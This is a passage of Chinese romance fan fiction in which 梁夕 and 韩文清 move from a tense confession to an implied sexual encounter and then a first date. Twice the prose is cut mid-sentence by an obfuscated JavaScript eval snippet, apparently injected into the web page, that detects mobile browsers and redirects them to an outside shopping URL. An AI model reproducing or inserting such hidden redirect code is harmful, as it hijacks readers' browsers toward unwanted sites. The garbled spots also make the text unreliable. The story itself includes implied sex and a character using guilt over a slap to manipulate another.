梁夕坐在床沿,伸出双臂,紧紧搂住他的腰。隔着一层带着微微潮意的棉质T恤,仍能感受到他身体的热度和腹肌轮廓。 “韩文清,”她的声音闷闷的,带着点试探的意思,“我不去酒吧了,你别躲了,行吗?” 这句话问出来,她自己的心也提了起来。刚才的吻和表白如同烈火燎原,烧尽了阻碍,可灰烬之下,是坚实的新生,还是焦土一片? 韩文清沉默了几秒。然后,梁夕感觉到他的手轻轻落在了她的头顶,迟疑了片刻,揉了揉她的头发,动作有些笨拙,却透着一种无声的安抚。 他沉默了几秒,才低低地开口,问的却是另一个问题。 "痛吗?" 说的是她脸上的伤。 梁夕的心猛地一软,在他怀里微微仰起脸,从下往上看着他紧绷的下颌线和闪烁的眼神,里面带着化不开的内疚。 她心里飞快地盘算了一下,然后带着点鼻音,委委屈屈地答:"痛。" 其实早就不怎么痛了,麻劲过后只剩下一点微胀。但此刻承认痛,能让他更内疚,更自责,也更……放不下。她是有那么几分算计在里面的。 话音落下,她能清楚地感觉到被她贴着的那片肌肉瞬间绷得更紧,头顶那只手抚摸的动作也停住了。 随即,那只手移开,指尖在她脸颊上停留了片刻,然后收了回去,最终只是更紧地揽住了她的肩膀,将她更深地按向自己怀里。 “…对不起。”他沉沉地应了一声,没再多说。 她在心里悄悄松了口气,又有点窃喜。这一巴掌,虽然挨得冤枉又委屈,但似乎……物超所值。至少,逼出了他最深藏的真心,也让他此刻充满了对她的内疚和怜惜。 可这窃喜只维持到韩文清将她轻轻从怀里拉开。他揉了揉她的头发,低声说句:"很晚了,去洗洗,睡觉。" 然后起身,头也不回地快步走出她的房间,并轻轻带上了门。 梁夕躺在床上,听着他远去的脚步声,摸了摸似乎还残留着他手掌余温的脸颊,又回味了一下刚才那个几乎要让人燃烧起来的吻,心里那份不安又悄悄冒了头。 他承认了喜欢。 他亲了她。 他因为打她而内疚。 可是……他答应了不躲吗? 他什么都没说。 万一,明天太阳升起,他冷静下来,又觉得这是错的,是冲动的,是应该被纠正的"错误"呢? 以她对韩文清的了解,这太有可能了。他责任感太重,道德感太强,今晚的失控已经超出了他给自己划定的界限太多。 不行。 不能给他反悔的时间和空间。 她好不容易才撬开一道缝,必须趁热打铁,把这缝隙彻底凿穿,让他再也无法回头。 梁夕深吸一口气,从床上站起来,走进了浴室。 温热的水流冲刷着身体,也让她混乱的头脑渐渐清晰。她一边洗,一边飞快地复盘今晚的一切。 挨了一巴掌,很痛,很屈辱,但……结果却是巨大的进步。他承认了,他们接吻了。 这是质变。 可这还不够。 脆弱的告白和失控的亲吻,在韩文清那里,或许还不足以构成无法回头的定局。他可能会痛苦,可能会挣扎,但依然有可能选择退回到"兄妹"的安全区,用更决绝的方式疏远她,美其名曰"为了她好"。 她必须再加一把火。 按照韩文清的性格,责任感是他最坚固的铠甲,也是他最大的软肋。 如果……如果他们之间发生了更实质、更无法否认的关系,那么,以他的性格,就绝不可能再用简单的"兄妹"关系来搪塞、来逃避。 那意味着一种更深层次的承诺和捆绑,意味着他必须正视自己的感情,也必须对她负起另一种意义上的责任。 虽然这听起来有点…. 不择手段。但梁夕已经顾不了那么多了。她不想再经历一次今晚这样从天堂到地狱、再从地狱被他捞回来的惊心动魄,更不想明天面对一个可能再次变得冰冷疏远的韩文清。 她要一鼓作气,把他彻底拿下。 客厅的灯已经关了,一片寂静。只有主卧旁边卫生间的门缝下,透出光亮,还有隐约的水声。 韩文清在洗澡。 梁夕的心跳骤然加速,像擂鼓一样在胸腔里撞。她光着脚,踩在冰凉的地板上,悄无声息地走到那扇紧闭的门前。 手放在门把上,冰凉的金属触感让她指尖微微发颤。 她轻轻拧了一下。 门……没锁。 这个认知让她血液上涌,头脑都有些发晕。是韩文清习惯如此,还是……他也潜意识里,留下了某种可能? 心脏在胸腔里狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529141|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳起来。她知道自己在做什么,这是在赌,赌他对她的感情深度,赌他此刻心防的脆弱程度,也赌他对“责任”二字的看重。 没有时间再犹豫了。 梁夕再次深吸一口气,仿佛要将所有的勇气都吸入肺腑,然后,手上用力,猛地推开了那扇门。 氤氲的水汽扑面而来,带着沐浴露清爽的香气。 花洒下,韩文清高大的身躯骤然僵住,水珠顺着他结实的背肌和紧窄的腰线滚落。他猛地转过身,脸上写满了难以置信的震惊,水流冲过他棱角分明的脸庞,却冲不散那份愕然。 “梁夕!你……”他的声音被水声和惊愕切割得破碎。 梁夕什么也没说。她反手关上门,径直走到花洒下,温热的水流立刻将她全身浇透。 韩文清还处于极度震惊、甚至忘了关水的呆滞中。她伸出手,湿漉漉的掌心直接贴上了他的侧脸。然后,她踮起脚尖,手臂环上他的脖颈,用力将他拉低,仰起脸,吻了上去。 这个吻带着温热的水流,比刚才在床上更加直接,更加不容拒绝。她几乎是啃咬着他的唇瓣,舌尖固执地试图撬开他的牙关。 韩文清的大脑一片空白。 震惊过后,是身体本能的、汹涌而至的反应。在他几乎是下意识地就回应了她,手臂本能地箍住了她湿透的、纤细的腰身,反客为主,将这个吻加深,变得更加凶猛而急切,仿佛要将她整个人拆吃入腹。 水流冲刷着两人紧密贴合的身体,温度节节攀升。 但仅仅几秒之后,韩文清像是被什么狠狠刺了一下,猛地清醒过来。他用力推开她——动作不算轻柔,带着一种惊惶的力道。 梁夕被他推得往后踉跄了一步,后背抵住了冰凉的瓷砖墙壁,湿发贴在脸颊,胸口因为喘息剧烈起伏。她看着他骤然布满惊怒、挣扎和情欲的赤红眼睛。 “梁夕!你想干什么?!”他的声音沙哑粗重,像是困兽的咆哮,又带着难以置信的恐慌。 梁夕靠在墙上,水顺着她的下巴滴落。她没有退缩,直视着他,因为刚才的亲吻和被推开,眼里也蒙上了一层水汽,但眼神却亮得惊人,带着孤注一掷的决绝。 她舔了舔被他吻得有些发麻的嘴唇,清晰地吐出一个字: “你。” 这个字像一颗子弹,瞬间击穿了韩文清所有的伪装。 他瞳孔骤缩,脸上的血色褪去一些,又被更深的红潮覆盖。他像是想立刻逃离,又像是想把她从这危险的水汽中彻底剥离。 他再次伸出手,抓住她的胳膊,似乎想把她强行拉出去。 梁夕皱起了眉,发出一声短促的、带着痛楚的抽气声,然后把被打的那边脸朝向他。 “好痛……”她小声说,声音在水汽里显得格外脆弱。 没碰到脸,但她知道他会联想。 果然,韩文清伸出的手僵在了半空,指尖微微颤抖。那记耳光带来的懊悔和内疚,此刻被无限放大,成了束缚他行动的枷锁。 他看着她湿透的、贴在红肿未完全消退的脸颊旁的头发,看着她蹙起的眉头和那双带着控诉和……邀请的眼睛,所有想要强行将她驱离的力气,仿佛瞬间被抽空了。 他不能再对她动粗。一次已经足够让他悔恨万分。 就在他僵持的这几秒,梁夕重新站直了身体,一步步再次靠近他,直到两人几乎鼻尖相贴。 水流顺着她的睫毛滴落,她仰着脸,看着他眼中激烈的天人交战,轻声开口,声音不高,却带着一种直击要害的蛊惑: “韩文清,”她顿了顿,意有所指,声音又压低了些,带着一种近乎耳语的暧昧,“你不准备试试……真人的感觉,是不是和……你想的一样吗?” 她在提醒他浴室里的那一次,提醒他那些被她窥破的、压抑的欲望和幻想。 她在告诉他,那些想象并非罪恶,而现在,真人就在这里,毫无保留地站在他面前,邀请他验证。 韩文清死死地盯着她,胸膛剧烈起伏。眼中的挣扎如同暴风雨前的海面,惊涛骇浪,几乎要将他撕裂。 怎么可能不想?! 那些无数个深夜里难以启齿的梦境,那些在训练疲惫后看到她的笑容时瞬间失序的心跳,那些被她不经意触碰时瞬间绷紧的肌肉和狼狈掩饰…… 还有,看到她和那个男生在楼下接吻时,那股几乎要毁灭一切的嫉妒和暴怒,他想把她拉回来,想按在墙上,想用最直接的方式宣告占有,想让她眼里心里只剩下他一个人! 刚才在房间里吻她的时候,那汹涌的情潮几乎冲垮他所有的自制…… 而现在,她就这样湿淋淋地站在他面前,主动邀请,他身体里每一根神经都在疯狂叫嚣着同一个答案! 可是…. 理智残存的碎片还在尖锐地警告:一旦迈出这一步,就再也没有回头路了。他们之间的关系将彻底颠覆,要面对的风暴可能超乎想象。 他习惯性地想要控制,想要权衡。 逃避吗?继续用冷水浇灭这几乎要焚烧一切的火吗? 还是……面对这份早已超越界限的感情,面对这个豁出一切来爱他、也逼他承认爱的女孩? 梁夕没有再动,也没有再说话,只是安静地、固执地站在他面前,等待着他的抉择。 4. 确认 韩文清的喉结剧烈滚动,声音嘶哑得不像自己的,带着最后一丝试图拉回悬崖的沉重:"……梁夕,没有后悔药可以吃。" 这句话说出口,连他自己都觉得苍白无力。与其说是在警告梁夕,更像是在提醒自己——韩文清,你今晚已经跨过了太多条线,再多跨一条,就真的回不去了。 梁夕却因为他这句话,眼睛倏地亮了一下,甚至嘴角控制不住地向上弯起一个小小的、狡黠又得意的弧度。 她太了解他了,远比他自己以为的要了解得多。这个人能把不行说得像铁板一块,但在不行和沉默之间那些缝隙里泄露的东西,她全都看得见。现在他说的不是“不行”,不是“出去”,不是“我们不能这样”,而是没有后悔药可以吃。 这哪里是拒绝,这分明是动摇了,是最后的、无力的挣扎,是最后一道防线上站着的哨兵已经开始卸甲。 她微微偏头,湿发贴在颈侧,水珠顺着脖颈的线条滑进锁骨窝里,用一种近乎挑衅的语气反问:"韩队,你比赛的时候……也这么多废话吗?" “韩队”。不是韩文清,不是哥。是他被成千上万人喊过的那个称呼,是赛场上那个所有人心悦诚服、不敢造次的称谓。 在这个氤氲着水汽的浴室里,在此刻此景下,这个称呼从她嘴里吐出来,带着一种奇异的、打破最后禁忌的刺激感。 韩文清眼底最后那点挣扎的迷雾被一股更凶狠、更决绝的火焰驱散。他猛地吸了一口气,胸膛起伏,眼神变得锐利而深暗,像是终于下定了某种决心。他伸出手,紧紧抓住她的手腕,力道很大。 "梁夕,"他的声音沉下去,"我再问你一次——" 但这一次,梁夕没有再给他把问题说完的机会。 “韩文清,”她的手抚上他的脸,声音不高,但眼睛亮得惊人,带着一种不容他再退缩的坦荡,“你再问我一万次,我的答案都一样。我不后悔。以前不后悔,现在不后悔,以后也不会。” 然后她踮起脚,用一个吻,堵住了他所有未出口的话语。 所有的顾虑、挣扎、恐惧、责任……在这一刻,全都被一种更为原始、更为炽烈的冲动所淹没。韩文清闭了一下眼睛。睫毛上的水珠被挤落,顺着眼角滑下来,不是泪,但那个表情比流泪更让人心碎。 他反手关掉了哗哗作响的花洒,突如其来的寂静中,只剩下两人交错的呼吸声。 他紧扣着她手腕的那只手松开了,捏过她腕骨的那只手转而捧上她的脸,另一只手扣住她的后脑,五指穿过她湿透的头发。 然后他低头,深深地、凶狠地吻了回去。 这个吻不再有丝毫试探或迟疑,充满了绝对的宣告意味。他撬开她的齿关,长驱直入,攻城略地,吞噬她所有的呼吸。像是要把这些年所有被他自己压在胸腔里、卡在喉咙里、咽回肚子里的话,全部用这种方式说出来。 衣物在混乱的纠缠中成为碍事的累赘,被不耐烦地剥离,扔在湿漉漉的地面上。 没有更多的言语。言语在这一刻是多余的。刚才他们已经说了太多——吵了太多,哭了太多,剖白了太多。现在不需要言语。需要的是另一种更古老、更诚实的确认。 瓷砖墙壁很凉,梁夕的后背贴上去的时候激得她轻轻倒吸了一口气。但下一秒,韩文清的手臂就垫在了她的后背和墙壁之间。他甚至可能没有意识到自己做了这个动作,只是本能地不想让她碰到凉的东西。 他一遍遍吻她——吻落在她额头,然后是一侧的眼角,然后是鼻尖,然后重新落在唇上。这个吻和刚才的凶狠截然不同——很慢,很轻,像是在用嘴唇记住每一个细节。不像需求,更像仪式。 像是在对她说:我接受。我承认。我不逃了。 她能感觉到他的心跳,擂鼓一样撞在他的胸膛里,透过相贴的拥抱传递到她身上,和她自己同样急促的心跳共振。 彼此的名字在滚烫的呼吸间被含糊地唤出,关掉的花洒被重新撞开。蒸腾的水汽凝结在镜面上,让镜子里两个人的轮廓变成了一幅模糊的、潮湿的画,边缘晕染开来,分不清哪道线条是他的,哪道是她的。 浴室里的热度与疯狂,最终在水流冲刷和彼此急促的喘息中渐渐平息。 韩文清率先恢复了行动力,或者说,率先从那场几乎要将理智焚烧殆尽的边界逾越中找回了些许惯有的秩序感。 他沉默地擦干身体,拿起放在架子上的干净T恤和短裤迅速套上。然后,扯过一条干净的大浴巾,转身,将还靠在瓷砖墙上、浑身湿透、眼神带着几分迷蒙的梁夕整个裹住。 动作不算温柔——浴巾兜头盖脸地罩下来,把她从肩膀裹到膝盖,像裹一条刚捞上来的鱼。 他甚至弯腰,捡起地上已经湿透的她的睡裙,走到洗手池边,打开水龙头冲了冲,用力拧干。做完这些,他才像是完成了一系列必要的程序,稍稍松了口气。 梁夕就裹着浴巾,靠在墙上,安静地看着他的动作。水珠从她发梢滴落,滑过锁骨,没入浴巾边缘。她的目光追随他的背影——他弯腰拧衣服时肩胛骨的轮廓在T恤上撑出两道弧线,他伸手把湿衣服挂到架子上的时候小臂的肌肉线条绷了一下,他转身回来的时候目光先是习惯性地扫过她脸上,然后迅速移开。 “出去穿衣服。”韩文清终于开口,声音依旧带着点沙哑,语调却已经恢复了几分平日的冷硬,目光落在她头顶的瓷砖上,没看她。 她想起他刚才所有的失控和凶狠,又看他此时不知道应该做什么的样子和刻意回避的视线,有点想笑,又有点不安。 她撇撇嘴,故意用带着点撒娇和埋怨的语气说:“好冷淡啊,韩队这是穿上裤子就不认人了?” 韩文清身体微微一僵,眉头蹙起,像是被她这直白的说法刺了一下,他大概不太习惯被人这样直接地戳破。但最终还是偏过头,视线飞快地扫过她被浴巾裹得严实的模样,又拿过一条毛巾胡乱地擦了擦她还在滴水的头发。 “乖。”他压低声音,这个字从他嘴里说出来有种格格不入的别扭,但他说得很认真,像是真的在哄她,“别着凉。” 梁夕忍不住笑了。韩文清说“乖”,这种反差她大概能记一辈子。 “那你抱我。”梁夕立刻顺杆爬,张开手臂。浴巾本来就裹得松散,她这一抬手,边缘差点滑下去。她眼疾手快地按住。 韩文清看着她那副理直气壮索要拥抱的样子,眼底掠过一丝认命般的妥协。他叹了口气:“等着。” 他把拧得半干的衣服拿到外面阳台的洗衣机里设定好洗涤程序,然后回来,仔细擦干了手上的水珠,这才回到梁夕面前,弯腰,手臂穿过她的腿弯和后背,稳稳地将裹在浴巾里的她打横抱了起来。 他抱她的次数屈指可数——刚才从客厅地板抱到床上,是第一次。现在是第二次。这一次和刚才不一样。刚才他抱着一个“睡着了”的她,浑身僵硬,每一步都像踩在雷区上。现在她是醒的,她的手臂自然地环上他的脖子,脸靠在他肩窝里,呼吸温热地拂过他的颈侧。 “韩文清。” “嗯。” “我很开心。” 韩文清的脚步顿了一下,手臂将她搂得更紧了些,喉结滚动,最终只是沉沉地“嗯”了一声,算作回应。 梁夕听着他沉稳有力的心跳,鼻尖是他身上沐浴露清爽的味道,手臂之下是属于他的体温。她忽然觉得鼻子有点酸。不是伤心。是那种苦了太久之后终于吃到一口甜的,反而被甜得想哭。 “韩文清。”她又叫他。 “……嗯。” “韩文清。” “听见了。” 推开她卧室的门,床头灯开着,暖黄色的光照在叠得整齐的夏被上。他把她放在床边,松开手,直起身。目光在房间里扫了一圈,似乎不知道下一步该把手放在哪里,最后选择垂在身侧,握成松垮的拳。 “行了,赶紧换。”他转身想走。 “你帮我拿一下呀。”梁夕坐在床边,晃了晃还裹着浴巾的身体,语气理所当然。 韩文清转过身,眉头拧得更紧。这次不是那种怒意的拧紧,是纯粹的无奈。 “梁夕。”他的语气里带着一种“你已经得寸进尺了”的暗示,“你生活不能自理了吗?” 梁夕不说话,只是微微侧过头,将之前被他打过的那半边脸,完全朝向了他。红肿基本已经退了,但隐约还能看出一点痕迹。 这招真是屡试不爽——她什么都没说,但这一侧脸比说什么都有效。 韩文清沉默了几秒,败下阵来,语气硬邦邦地问:“……在哪?” 梁夕眼底闪过一丝得逞的笑意,但藏得很好。她立刻报出位置:“睡衣在左边衣柜第二层,内裤在下面那个抽屉里。” 韩文清走到衣柜前。她的衣柜不大,白色推拉门,左边那扇上贴了一张贴纸——一个动漫人物,叫什么来着?好像是叫手冢国光?他没看过那部动漫,但听她提起过很多次。很多年前贴的,有点褪色,边缘已经翘起来了。 他拉开左边那扇门,第二层叠了几套睡衣,码得整整齐齐。他随手拿了最上面的一套:纯棉的短袖套装,浅灰色底上印着几只猫。款式保守,料子摸起来很软。 然后他拉开下面的抽屉。 他应该预想到里面是什么,但没有。所以当那些码放整齐的文胸和内裤映入眼帘的时候,他的动作明显僵硬了一瞬。不是那种夸张的僵住,是极其细微的、只有他自己知道的滞涩。 他几乎是闭着眼睛,胡乱从一角抽了一条出来,看也没看,连同睡衣一起,扔到了梁夕旁边的床上。 “换好快睡。”他丢下这句话,没再给她任何提要求的机会,大步流星地走出了房间,并带上了门。 梁夕看着他几乎是落荒而逃的背影,忍不住偷笑。她拿起床上的衣服。睡衣是她常穿的那套。 但是那条内裤——她拿起来时愣了下。 黑色T-back。边缘带着极其纤细的蕾丝。款式相当大胆。这是她唯一的一条,之前某个需要穿贴身礼服的场合买的,穿了一次觉得不习惯,就塞在抽屉最里面的角落,再也没动过。 韩文清这手法…… 梁夕脸上有点发热。她捏着那薄薄的一片布料,脑子里飞速过了一遍他刚才所有的动作。闭着眼睛抽的,肯定没看。他要是看了绝对不可能拿这条,给她拿条老奶奶款都更符合他现在的心理状态。但问题是,这条明明压在抽屉最里面,他随手一抓怎么就正好抓到了它? 她换好衣服,那套保守的纯棉睡衣和这条存在感极强的内裤形成了奇妙的对比——外面看着乖巧规矩,里面藏着某种不可告人的秘密。 她看了一眼时间,凌晨两点。 但一点睡意都没有。 今天晚上发生了太多事,每一件都还鲜明地印在脑子里,闭上眼睛就能看到。他站在酒吧门口的沉肃面孔,他在玄关被她逼问时脸上的惊怒,那记耳光的声音,他抱着她从地板走向卧室时收紧的手臂,他在浴室里关掉花洒后那个凶狠的吻。 她想了想,拿起手机,抱起自己的枕头,赤着脚,走到了韩文清的卧室门口。 意思意思地轻轻敲了两下门,没等他回应,就推开一条缝,抱着枕头站在门口,眼巴巴地朝里面看。 台灯开着,韩文清靠在床头,手里拿着手机,似乎在看什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她心里踏实了一半,又问:“那……我们这样,就算是……男女朋友了吗?” 韩文清沉默了一下,反问,语气听不出情绪:“今晚那个,不是你男朋友?” 梁夕心里“咯噔”一下,差点把这茬忘了。那个在酒吧里手搭在她靠背上的男生,那个她这周刚答应交往的、连名字都还没在她手机里存成昵称的可怜人——本来她也是为了气他。 她立刻从他怀里弹起来一点,摸到床头的手机,当着韩文清的面,解锁,找到那个备注着现任男友名字的号码,飞快地编辑了一条言简意赅的分手短信发送出去,然后麻利地拉黑删除,一气呵成。整个过程不到半分钟。 她把手机屏幕亮给他看,证明清白:“现在不是了。” 借着微弱的光线,韩文清看着她亮晶晶的眼睛和微微上翘的嘴角。她的手指因为刚才快速打字还有点抖,不知道是紧张还是兴奋。他看了她半晌,才几不可闻地叹了口气。 他抬手,将她重新按回怀里。 “……好。”他低低地应了一声。 梁夕心中大石落地,雀跃地爬起来,凑上去在他嘴角响亮地亲了一下,然后又心满意足地躺回去,紧紧搂着他。耳朵贴着他的胸膛,有力的心跳声清晰传来,咚咚咚,比平时快了不少。 “韩文清,”她像发现了新大陆,“你心跳好快啊。” 韩文清闭了闭眼。 就这么一个晚上,他们的关系发生了翻天覆地的变化。他的手臂还环着她,怀里是她柔软温热的身体,他甚至能感觉到她的身体随着呼吸每一次的轻轻起伏。不知道她是刚换了洗发水还是什么,有股很淡的甜香一直往他鼻腔里钻。 心跳能不快吗? 他咬了咬牙,从牙缝里挤出两个字:“……睡觉。” “哦。”梁夕乖乖应了,不再说话。 可睡觉是不可能好好睡觉的。 韩文清在她身后,呼吸温热地喷在她的后颈和耳廓,他身体的温度隔着薄薄的睡衣源源不断地传递过来,存在感强得惊人。她脑子里乱哄哄的,全是今晚发生的一切,心跳也快得不像话,一点睡意都没有。 她强自闭上眼睛,试图装睡,但仅仅过了大概五分钟,就憋不住了。她悄悄转过身,面对着他,在昏暗的光线里,一眨不眨地看着他紧闭的双眼和安静的睡颜。 韩文清似乎察觉到了她的注视,试探性地,原本虚环在她腰后的手,微微收紧,搂住了她的腰。 梁夕没有躲,反而顺势更贴近了一些。 这个默许的信号像是一个开关。 下一秒,韩文清的手臂猛地用力,将她整个人紧紧地按向自己,两人身体严丝合缝地贴在一起。 “……梁夕。”他唤她的名字,声音暗哑得厉害。 “嗯?”梁夕轻声应着,脸也烧了起来。她的手贴在他胸口,感觉到他的心跳已经快到了一个不可思议的速度。 他的手贴上她的腰,缓缓摩挲着,然后——他的动作顿住了。 眉头微微蹙起,他在昏暗中低头看向她:“……你穿的什么?” 梁夕的脸颊更烫了,却理直气壮:“不是你拿的嘛。” 韩文清一噎,想起自己刚才在抽屉里胡乱一抓……耳根瞬间也有些发热。他试图把手挪开,梁夕却趁机搂住了他的脖子,嘴唇几乎贴着他的耳朵,用气声,带着一点故作专业的口吻,像是在科普某个冷知识: “这个,据说……不脱也行。” 韩文清的呼吸骤然停滞,随即变得无比滚烫。 她的气息落在他耳廓上,痒的。近在咫尺的眼睛带着天真又带着蛊惑。 所有理智的堤坝,在经历了今晚一连串的冲击和确认后,在这句近乎直白的撩拨下,终于彻底决堤。 迷迷糊糊间,梁夕只剩下一个念头: 嗯…果然很凶。 5. 约会 梁夕醒来的时候,有那么几秒钟,完全没有动。 意识先于身体苏醒,像从深水里慢慢浮上来。她睁着眼,盯着陌生的天花板——不是她房间那盏文艺风的吊灯,而是一盏扁平的吸顶灯。窗帘也不是她喜欢的,而是深灰色的遮光帘。 这不是她的房间。 然后她感觉到了横在她腰间的那条手臂。很重,像一道温热的闸门,把她稳稳地压在床垫和他之间。她的后背贴着他的胸膛,能感受到他平稳深长的呼吸,一下一下,拂在她后颈。 梁夕没动。她只是安静地躺在那里,把他呼吸的频率数了十几遍。昨晚的一切像被剪碎的录像带,在脑子里一段一段地闪回—— 他叫她名字的时候,声音是从喉咙深处挤出来的,像是被人掐住了咽喉。所有的力道和凶狠,在最关键的那一秒都变成了一种小心翼翼的克制。 韩文清式的克制,坚硬里藏着温柔。 她的脸有点热。昨晚那些画面太鲜明了,每一帧都还在脑子里,清清楚楚。 身后的人动了一下。梁夕能感觉到他的呼吸节奏忽然变了,从睡眠状态的均匀深长变成了一种更浅的频率。横在她腰间的手臂微微僵了一瞬,然后——没有抽走,反而更紧了一点点。 “醒了?”她小声问。 “嗯。”他的声音从头顶传来,带着哑。 梁夕翻了个身,把脸朝向他,看了他两秒,然后对着他的嘴唇亲了一下。很轻,只是嘴唇碰了碰。韩文清没有躲,但也没有闭眼。他就那么睁着眼睛看着她,目光从上往下,把她一整张脸都笼罩在视线里。 “早。”梁夕说。 “……早。” 然后他坐起来,手撑在膝盖上,像是犹豫了一下要说什么,但最终只说了四个字:“我去洗脸。” 走廊外的洗手间传来水龙头的声音。梁夕穿好衣服,从床上下来,趿拉着拖鞋走到洗手间门口。 门没关,韩文清正弯着腰,捧了冷水往脸上泼。水顺着他的眉骨和鼻梁流下来,打湿了T恤的领口一圈。他撑着洗手台边缘,抬起脸看着镜子里自己。梁夕靠在门框上,对上镜子里那双抬起的眉眼。 “韩队,你在看什么?” “……没什么。”他拿起毛巾擦脸,动作利落,“早上想吃什么?冰箱只有鸡蛋和面。想吃别的我去买。” “就鸡蛋面吧。” 韩文清“嗯”了一声,转身走出去。 面就是普通的鸡蛋面,没什么花样。吃完饭,梁夕主动收拾碗筷去厨房洗。韩文清坐在沙发上,拿着手机,打开昨晚没看完的张新杰的复盘邮件。但看了几行又退出去,点开微信,犹豫了一下,发了条消息给张新杰。 “复盘看了。暑假期间不用每天发。” 对面几乎秒回:“好的。但已经做好了。” 韩文清看着那行字,眉头皱了一下。张新杰在训练营的时候他接触过几次,战术素养出众、大局观非常强,日程表精确到分钟、战术复盘写得比他这个队长还细,按俱乐部的意思,下赛季会正式注册成为职业选手,并且直接空降霸图一队担任副队长。除了第一赛季的那拨人外,这种起点在职业圈非常罕见。 据他和张新杰有限的接触时间来看,这个人不反驳你,但他也绝对不会听你的话。他说“好的”的意思是“收到了”,不是“我会照做”。暑假训练复盘哪怕不发,他还是会雷打不动地完成。 韩文清锁了屏,把手机搁在茶几上。抬头,梁夕正擦着手从厨房走出来。 “韩文清,”她说,“今天我们出去吧。” “去哪?” “随便,出门就行。”顿了顿,她眨眨眼,笑盈盈地补了句,“约会。” 韩文清沉默了几秒。梁夕感觉她能看到他脑子里在转什么——一个是“约会”,一个是“出门”。约会是一个新概念,出门意味着可能会碰到熟人。但他没沉默太久。隔了片刻他站起来:“去哪?” “看电影?” “暑假档都是小孩看的。” “那吃饭?” “刚吃完。” 梁夕无语了,仰着脸看他:“韩文清,你到底会不会约会?” 韩文清沉默,看起来确实不太会。片刻后,他站起来,低头看她:“你今天想去哪,我们就去。” 梁夕乐了。 她去换了套衣服,画了个淡妆——伪素颜的那种——虽然韩文清这种钢铁直男大概除了口红也看不出她哪里化了妆。走出房间时,他已经在玄关等着了,穿了件黑色的T恤和深灰长裤。看到她出来,视线在她身上停了一秒,然后移开。什么都没说,只是把门打开,侧身让她先出去。 电梯里只有他们两个人。银色的镜面门映出两个并排站着的影子,身高差了快一个头。 梁夕从镜面里看了他一眼。韩文清目视前方,表情严肃得像要去打总决赛。 她悄悄伸出手,用小指勾住他的小指。他在电梯门上看见她的动作,看了两秒,手指慢慢收紧,把她的整只手都握进了掌心里。力道不大,但很稳。 电梯门打开的时候,他松开了手。两人前后脚走出大楼,各自站着的距离和一对正常的兄妹没有区别。 两人心照不宣——在外面,他们还是“兄妹”。 先去的商场。倒是正事,梁夕的耳机坏了,想买个新的。刚好上周实习结束,补贴到账——虽然钱不算多,但买个耳机还是够的。 “你平时听什么?”韩文清问。 “什么都听。最近在听一些老歌。” “可以试试这个。”他指了指展品柜上的一款,“低频不糊,人声不闷,声场够,降噪也不错。听流行够了。” 店员把样机递过来。梁夕接过去戴上,头戴式耳机,银色,索尼新出的一款。音乐前奏响起来的时候,她眼睛亮了一下。 又逛了几家对比,最后还是回来买了这款,韩文清付的钱。梁夕说我自己买,他已经把信用卡递给了店员。 午餐去了一家韩式烤肉店,在Q市一条老街上,门口挂着朝鲜族文字的招牌,推门进去就是炭火气。老板用带口音的普通话招呼他们坐下。Q市的韩餐味道很是地道,大约是有很多延边人和韩国人的缘故,不过前提是不能选商场里的。 隔壁桌坐了一对情侣在腻歪。男生在帮女生揉手,说着什么悄悄话,女生笑得很开心。梁夕看了一眼,又看看坐在对面的韩文清——他正襟危坐,在手机上不知在看什么。她凑过去瞟了一眼,是训练营的暑期集训计划。 “韩队,今天是约会。”她提醒他。 “嗯。”他锁了屏,把手机放进口袋。过了片刻,忽然问,“那个前男友,他之前带你去过哪?” “哪都没去过。”梁夕吃着餐前送的小菜,顿了顿又补充,“我们就处了不到一个礼拜。” 韩文清没说话,但表情明显比刚才松弛了一些。 炭火上来之后,他把肉一片片铺在烤盘上,油脂滴下去,火苗窜上来,他用夹子把肉翻了个面,动作干净利落。梁夕托腮看着,觉得自己大概能看他一整天。 肉烤好,梁夕夹起一片蘸了酱,递到他嘴边。 “你自己吃。” “蘸好了,凉了就不好吃了。” 韩文清看了她一眼。这个动作太亲密了——兄妹之间偶尔夹菜还算正常,但喂到嘴边就是另一回事了。隔壁桌的情侣还在腻歪,没人注意这边。他低头把肉吃了。 “韩队,放松一点。别人看不出来。”梁夕自然地收回筷子,给自己也夹了一块,“再说,妹妹孝顺哥哥,不是很正常吗?” 韩文清被“孝顺”两个字噎了一下,没接话。但烤盘上的夹子搁了一会儿才动。 吃完饭走到街上,阳光正烈。梁夕眯着眼看手机导航。 “下午去哪?”韩文清问。 “海边。有个咖啡馆,叫八月小馆。” “八月?” “嗯,我喜欢的一个作家,叫八月长安,她开的。店里的饮品和甜品很多都用她书里的东西命名的。” 韩文清没看过八月长安的书。他看的书以电竞杂志和武侠小说为主。但他点了下头,说走吧。 八月小馆开在鲁迅公园对面,位置有点难找,要从酒店电梯上去。但风景很美,露台的座位正对大海,能看见一段蜿蜒的海岸线和深蓝色的海面,阳光把海水照得层层叠叠地亮。 梁夕来过好几次,店员已经认识她了。看到她进来,笑着点头打了个招呼,又看了一眼身后那个高大的、与文艺咖啡馆格格不入的男人,没说什么。 韩文清接过菜单,翻开。每一行字他都认识,但组合在一起就看不太懂了——“玛丽苏”“海尔波普”“陈桉的蓝水”、“喜马拉雅山的猴子”…… 他放弃自己点单,把菜单还给她:“你点。” 梁夕笑了笑,点了一杯陈桉的蓝水,一杯真心谎话,甜品要的是“这么多年”。 “给你点的那个叫真心谎话——茶香款、混着点淡淡的杜松子酒香,你应该能喝。” “你点是什么?” “陈桉的蓝水。蓝柑威士忌混着葡萄汁,颜色很漂亮。”她顿了顿,“陈桉是书里的一个角色。他很温柔,但也挺孤独的。” “威士忌?”他的声音沉了半度,“这里卖酒?” 